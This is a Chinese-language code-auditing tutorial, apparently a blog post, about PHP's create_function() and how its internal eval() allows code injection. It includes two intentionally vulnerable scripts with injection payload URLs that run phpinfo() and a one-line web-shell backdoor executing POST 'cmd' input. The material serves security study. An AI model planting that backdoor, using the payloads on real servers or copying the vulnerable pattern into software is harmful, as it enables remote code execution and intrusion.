PHP代码审计之create_function()函数
<h1 id="h2-0">0x00 create_function()简介</h1><p><span style="font-family: "Microsoft YaHei"; font-size: 14pt">适用范围:<code>PHP 4> = 4.0.1</code>,<code>PHP 5</code>,<code>PHP 7</code></span></p>
<p><span style="font-family: "Microsoft YaHei"; font-size: 14pt">功能:根据传递的参数创建匿名函数,并为其返回唯一名称。</span></p>
<p><span style="font-family: "Microsoft YaHei"; font-size: 14pt">语法:</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 128, 128, 1)">1</span> <span style="color: rgba(0, 128, 128, 1)">create_function</span>(<span style="color: rgba(0, 0, 255, 1)">string</span> <span style="color: rgba(128, 0, 128, 1)">$args</span>,<span style="color: rgba(0, 0, 255, 1)">string</span> <span style="color: rgba(128, 0, 128, 1)">$code</span><span style="color: rgba(0, 0, 0, 1)">)
</span><span style="color: rgba(0, 128, 128, 1)">2</span> <span style="color: rgba(0, 0, 255, 1)">string</span> <span style="color: rgba(128, 0, 128, 1)">$args</span><span style="color: rgba(0, 0, 0, 1)"> 声明的函数变量部分
</span><span style="color: rgba(0, 128, 128, 1)">3</span>
<span style="color: rgba(0, 128, 128, 1)">4</span> <span style="color: rgba(0, 0, 255, 1)">string</span> <span style="color: rgba(128, 0, 128, 1)">$code</span> 执行的方法代码部分</pre>
</div>
<h1>0x01 函数功能分析</h1>
<p><span style="font-family: "Microsoft YaHei"; font-size: 14pt">案例:</span></p>
<div class="cnblogs_code">
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(128, 0, 128, 1)">$newfunc</span> = <span style="color: rgba(0, 128, 128, 1)">create_function</span>('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'<span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "New anonymous function: <span style="color: rgba(128, 0, 128, 1)">$newfunc</span>\n"<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$newfunc</span>(2, M_E) . "\n"<span style="color: rgba(0, 0, 0, 1)">;
</span>?></pre>
</div>
<p><span style="font-family: "Microsoft YaHei"; font-size: 14pt">保存为create.php</span></p>
<p><img src="https://img2020.cnblogs.com/blog/1937992/202005/1937992-20200528132627947-730152606.png" alt=""></p>
<p> </p>
<p> </p>
<p><span style="font-family: "Microsoft YaHei"; font-size: 14pt"> 分析:</span></p>
<p><span style="font-family: "Microsoft YaHei"; font-size: 14pt"><code>create_function()</code>会创建一个匿名函数(<code>lambda</code>样式)。此处创建了一个叫<code>lambda_1</code>的函数,在第一个<code>echo</code>中显示出名字,并在第二个<code>echo</code>语句中执行了此函数。</span></p>
<p><span style="font-family: "Microsoft YaHei"; font-size: 14pt">create_function()函数会在内部执行 eval(),我们发现是执行了后面的<code>return</code>语句,属于<code>create_function()</code>中的第二个参数<code>string $code</code>位置。</span></p>
<p><span style="font-family: "Microsoft YaHei"; font-size: 14pt">因此,上述匿名函数的创建与执行过程等价于:</span></p>
<div class="cnblogs_code">
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">function</span> lambda_1(<span style="color: rgba(128, 0, 128, 1)">$a</span>,<span style="color: rgba(128, 0, 128, 1)">$b</span><span style="color: rgba(0, 0, 0, 1)">){
</span><span style="color: rgba(0, 0, 255, 1)">return</span> "ln(<span style="color: rgba(128, 0, 128, 1)">$a</span>) + ln(<span style="color: rgba(128, 0, 128, 1)">$b</span>) = " . <span style="color: rgba(0, 128, 128, 1)">log</span>(<span style="color: rgba(128, 0, 128, 1)">$a</span> * <span style="color: rgba(128, 0, 128, 1)">$b</span><span style="color: rgba(0, 0, 0, 1)">);
}
</span>?></pre>
</div>
<p><span style="font-family: "Microsoft YaHei"; font-size: 14pt"><code>create_function()</code>函数在代码审计中,主要用来查找项目中的代码注入和回调后门的情况,熟悉了执行流程,我们可以熟练的实现对代码注入的<code>payload</code>构造,从而进行漏洞挖掘和找出存在的缺陷。</span></p>
<p> </p>
<h1><span style="font-family: "Microsoft YaHei"">0x02 实现代码注入的案例</span></h1>
<h2><span style="font-family: "Microsoft YaHei"">案例1:</span></h2>
<div class="cnblogs_code">
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(0<span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(128, 0, 128, 1)">$sort_by</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['sort_by'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(128, 0, 128, 1)">$sorter</span> = 'strnatcasecmp'<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(128, 0, 128, 1)">$databases</span>=<span style="color: rgba(0, 0, 255, 1)">array</span>('1234','4321'<span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(128, 0, 128, 1)">$sort_function</span> = ' return 1 * ' . <span style="color: rgba(128, 0, 128, 1)">$sorter</span> . '($a["' . <span style="color: rgba(128, 0, 128, 1)">$sort_by</span> . '"], $b["' . <span style="color: rgba(128, 0, 128, 1)">$sort_by</span> . '"]);'<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 128, 128, 1)">usort</span>(<span style="color: rgba(128, 0, 128, 1)">$databases</span>, <span style="color: rgba(0, 128, 128, 1)">create_function</span>('$a, $b', <span style="color: rgba(128, 0, 128, 1)">$sort_function</span><span style="color: rgba(0, 0, 0, 1)">));
</span>?></pre>
</div>
<p><span style="font-family: "Microsoft YaHei"; font-size: 14pt"><code>payload</code>的构造:</span></p>
<div class="cnblogs_code">
<pre>http:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">localhost/test1.php?sort_by=%27%22]);}phpinfo();/*</span></pre>
</div>
<p> </p>
<p><span style="font-family: "Microsoft YaHei"; font-size: 14pt"><img src="https://img2020.cnblogs.com/blog/1937992/202005/1937992-20200528133704647-1679751324.png" alt=""></span></p>
<p> </p>
<p> </p>
<p> </p>
<p><span style="font-family: "Microsoft YaHei"; font-size: 14pt">还原实际的组合过程:</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(128, 0, 128, 1)">$sort_function</span> = ' return 1 * ' . <span style="color: rgba(128, 0, 128, 1)">$sorter</span> . '($a["' . <span style="color: rgba(128, 0, 128, 1)">$sort_by</span> '"]);}phpinfo();/*</pre>
</div>
<p><span style="font-family: "Microsoft YaHei"; font-size: 14pt">匿名函数实际的执行:</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 255, 1)">function</span> niming(<span style="color: rgba(128, 0, 128, 1)">$a</span>,<span style="color: rgba(128, 0, 128, 1)">$b</span><span style="color: rgba(0, 0, 0, 1)">){
</span><span style="color: rgba(0, 0, 255, 1)">return</span> 1 * ' . $sorter . '(<span style="color: rgba(128, 0, 128, 1)">$a</span>["' . <span style="color: rgba(128, 0, 128, 1)">$sort_by</span> '"]);}<span style="color: rgba(0, 128, 128, 1)">phpinfo</span>();<span style="color: rgba(0, 128, 0, 1)">/*</span><span style="color: rgba(0, 128, 0, 1)">
}</span></pre>
</div>
<p><span style="font-family: "Microsoft YaHei"; font-size: 14pt">回车换行整理一下:</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 255, 1)">function</span> niming(<span style="color: rgba(128, 0, 128, 1)">$a</span>,<span style="color: rgba(128, 0, 128, 1)">$b</span><span style="color: rgba(0, 0, 0, 1)">){
</span><span style="color: rgba(0, 0, 255, 1)">return</span> 1 * ' . $sorter . '(<span style="color: rgba(128, 0, 128, 1)">$a</span>["' . <span style="color: rgba(128, 0, 128, 1)">$sort_by</span> '"<span style="color: rgba(0, 0, 0, 1)">]);
}
</span><span style="color: rgba(0, 128, 128, 1)">phpinfo</span>();<span style="color: rgba(0, 128, 0, 1)">/*</span><span style="color: rgba(0, 128, 0, 1)">
}</span></pre>
</div>
<p> </p>
<h2><span style="font-family: "Microsoft YaHei"">案例2:</span></h2>
<div class="cnblogs_code">
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(128, 0, 128, 1)">$c</span>=<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['c'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(128, 0, 128, 1)">$lambda</span>=<span style="color: rgba(0, 128, 128, 1)">create_function</span>('$a,$b',"return (strlen(<span style="color: rgba(128, 0, 128, 1)">$a</span>)-strlen(<span style="color: rgba(128, 0, 128, 1)">$b</span>)+" . "strlen(<span style="color: rgba(128, 0, 128, 1)">$c</span>));"<span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(128, 0, 128, 1)">$array</span>=<span style="color: rgba(0, 0, 255, 1)">array</span>('reall long string here,boy','this','midding lenth','larget'<span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(0, 128, 128, 1)">usort</span>(<span style="color: rgba(128, 0, 128, 1)">$array</span>,<span style="color: rgba(128, 0, 128, 1)">$lambda</span><span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(0, 128, 128, 1)">print_r</span>(<span style="color: rgba(128, 0, 128, 1)">$array</span><span style="color: rgba(0, 0, 0, 1)">);
</span>?></pre>
</div>
<p><span style="font-family: "Microsoft YaHei"; font-size: 14pt"><code>payload</code>的构造:</span></p>
<div class="cnblogs_code">
<pre>http:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">localhost/test2.php?c=1));}phpinfo();/*</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1937992/202005/1937992-20200528135733970-253135182.png" alt=""></p>
<p> </p>
<p> </p>
<p><span style="font-size: 14pt; font-family: "Microsoft YaHei""> 还原实际的组合过程:</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(128, 0, 128, 1)">$lambda</span>=<span style="color: rgba(0, 128, 128, 1)">create_function</span>('$a,$b',"return (strlen(<span style="color: rgba(128, 0, 128, 1)">$a</span>)-strlen(<span style="color: rgba(128, 0, 128, 1)">$b</span>)+" . "strlen(1));}phpinfo();/*));");</pre>
</div>
<p><span style="font-family: "Microsoft YaHei"; font-size: 14pt">匿名函数实际的执行:</span></p>
<div class="cnblogs_code">
<pre> <span style="color: rgba(0, 0, 255, 1)">function</span> ft(<span style="color: rgba(128, 0, 128, 1)">$a</span>,<span style="color: rgba(128, 0, 128, 1)">$b</span><span style="color: rgba(0, 0, 0, 1)">){
</span><span style="color: rgba(0, 0, 255, 1)">return</span> (<span style="color: rgba(0, 128, 128, 1)">strlen</span>(<span style="color: rgba(128, 0, 128, 1)">$a</span>)-<span style="color: rgba(0, 128, 128, 1)">strlen</span>(<span style="color: rgba(128, 0, 128, 1)">$b</span>)+" . "<span style="color: rgba(0, 128, 128, 1)">strlen</span>(1));}<span style="color: rgba(0, 128, 128, 1)">phpinfo</span>();<span style="color: rgba(0, 128, 0, 1)">/*</span><span style="color: rgba(0, 128, 0, 1)">));
}</span></pre>
</div>
<p><span style="font-family: "Microsoft YaHei"; font-size: 14pt">回车换行整理一下:</span></p>
<div class="cnblogs_code">
<pre> <span style="color: rgba(0, 0, 255, 1)">function</span> ft(<span style="color: rgba(128, 0, 128, 1)">$a</span>,<span style="color: rgba(128, 0, 128, 1)">$b</span><span style="color: rgba(0, 0, 0, 1)">){
</span><span style="color: rgba(0, 0, 255, 1)">return</span> (<span style="color: rgba(0, 128, 128, 1)">strlen</span>(<span style="color: rgba(128, 0, 128, 1)">$a</span>)-<span style="color: rgba(0, 128, 128, 1)">strlen</span>(<span style="color: rgba(128, 0, 128, 1)">$b</span>)+" . "<span style="color: rgba(0, 128, 128, 1)">strlen</span>(1<span style="color: rgba(0, 0, 0, 1)">));
}
</span><span style="color: rgba(0, 128, 128, 1)">phpinfo</span><span style="color: rgba(0, 0, 0, 1)">();
</span><span style="color: rgba(0, 128, 0, 1)">/*</span><span style="color: rgba(0, 128, 0, 1)">));
}</span></pre>
</div>
<p> </p>
<h1>0x03 打造后门</h1>
<p><span style="font-family: "Microsoft YaHei"; font-size: 14pt">houmen.php</span></p>
<div class="cnblogs_code">
<pre><?php <span style="color: rgba(128, 0, 128, 1)">$func</span> =<span style="color: rgba(0, 128, 128, 1)">create_function</span>('',<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['cmd']);<span style="color: rgba(128, 0, 128, 1)">$func</span>();?></pre>
</div>
<p><span style="font-family: "Microsoft YaHei"; font-size: 14pt"><code>create_function()</code>是可以利用当后门的函数,实际上它是通过执行<code>eval</code>实现(此处相当于一句话木马),访问如下:</span></p>
<p><span style="font-family: "Microsoft YaHei"; font-size: 14pt"><img src="https://img2020.cnblogs.com/blog/1937992/202005/1937992-20200528140551223-1027125403.png" alt=""></span></p>
<p> </p>
<p><span style="font-family: "Microsoft YaHei"; font-size: 14pt"></span></p>
<h1> 0x04 create_function()被高版本 PHP 废弃</h1>
<p><span style="font-family: "Microsoft YaHei"; font-size: 14pt; color: rgba(255, 0, 0, 1)">从<code>PHP 7.2.0</code>开始,<code>create_function()</code>被废弃</span></p><br><br>
来源:https://www.cnblogs.com/zzjdbk/p/12980483.html
頁:
[1]